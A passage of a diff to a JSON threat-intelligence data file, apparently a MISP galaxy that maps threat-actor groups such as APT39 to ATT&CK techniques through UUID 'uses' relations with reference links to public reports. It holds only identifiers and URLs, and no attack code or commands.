"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "fbd29c89-18ba-4c2d-b792-51c0adee049f", @@ -11276,7 +14287,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11297,14 +14308,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11344,7 +14348,7 @@ }, "related": [ { - "dest-uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11365,7 +14369,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11400,7 +14404,7 @@ "type": "uses" }, { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11414,21 +14418,21 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11565,21 +14569,21 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11621,7 +14625,7 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11677,7 +14681,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11712,14 +14716,14 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2e114e45-2c50-404c-804a-3af9564d240e", + "dest-uuid": "0af0ca99-357d-4ba1-805f-674fdfb7bef9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11733,7 +14737,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11754,14 +14758,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11775,7 +14772,7 @@ "type": "uses" }, { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11789,7 +14786,7 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11801,6 +14798,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "4a2ce82e-1a74-468a-a6fb-bbead541383c", @@ -11830,7 +14841,7 @@ "type": "similar" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11844,14 +14855,14 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "143c0cbb-a297-4142-9624-87ffc778980b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11865,7 +14876,7 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11879,7 +14890,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11893,7 +14904,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11914,21 +14925,21 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11942,21 +14953,21 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11977,7 +14988,7 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -11991,21 +15002,21 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "2aed01ad-3df3-4410-a8cb-11ea4ded587c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12019,7 +15030,7 @@ "type": "uses" }, { - "dest-uuid": "d3df754e-997b-4cf9-97d4-70feb3120847", + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12038,6 +15049,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a020a61c-423f-4195-8c46-ba1d21abba37", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "2a7914cf-dff3-428d-ab0f-1014d1c28aeb", @@ -12064,7 +15096,14 @@ "type": "similar" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12107,7 +15146,8 @@ "refs": [ "https://attack.mitre.org/groups/G0087", "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html", - "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", + "https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764" ], "synonyms": [ "APT39", @@ -12116,7 +15156,7 @@ }, "related": [ { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12151,70 +15191,70 @@ "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12235,28 +15275,28 @@ "type": "uses" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df", + "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12275,6 +15315,174 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9de2308e-7bed-43a3-8e58-f194b3586700", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a705b085-1eae-455e-8f4d-842483d814eb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "44e43fad-ffcb-4210-abcf-eaaed9735f80", @@ -12309,7 +15517,7 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12328,6 +15536,27 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cb741463-f0fe-42e0-8d45-bc7e8335f5ae", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "76565741-3452-4069-ab08-80c0ea95bbeb", @@ -12376,7 +15605,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12390,7 +15619,7 @@ "type": "uses" }, { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12416,14 +15645,14 @@ }, "related": [ { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "dest-uuid": "a2029942-0a85-4947-b23c-ca434698171d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12437,56 +15666,63 @@ "type": "uses" }, { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0bf78622-e8d2-41da-a857-731472d61a92", + "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12536,7 +15772,7 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12571,7 +15807,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12584,13 +15820,6 @@ ], "type": "uses" }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ @@ -12599,14 +15828,14 @@ "type": "uses" }, { - "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12620,7 +15849,7 @@ "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12634,7 +15863,7 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12655,14 +15884,14 @@ "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21", + "dest-uuid": "b200542e-e877-4395-875b-cf1a44537ca4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12704,7 +15933,7 @@ "type": "uses" }, { - "dest-uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12718,7 +15947,7 @@ "type": "uses" }, { - "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12732,14 +15961,14 @@ "type": "uses" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12753,7 +15982,7 @@ "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12788,7 +16017,7 @@ "type": "uses" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12802,7 +16031,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12816,7 +16045,7 @@ "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12837,14 +16066,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12858,7 +16087,7 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -12877,6 +16106,34 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + 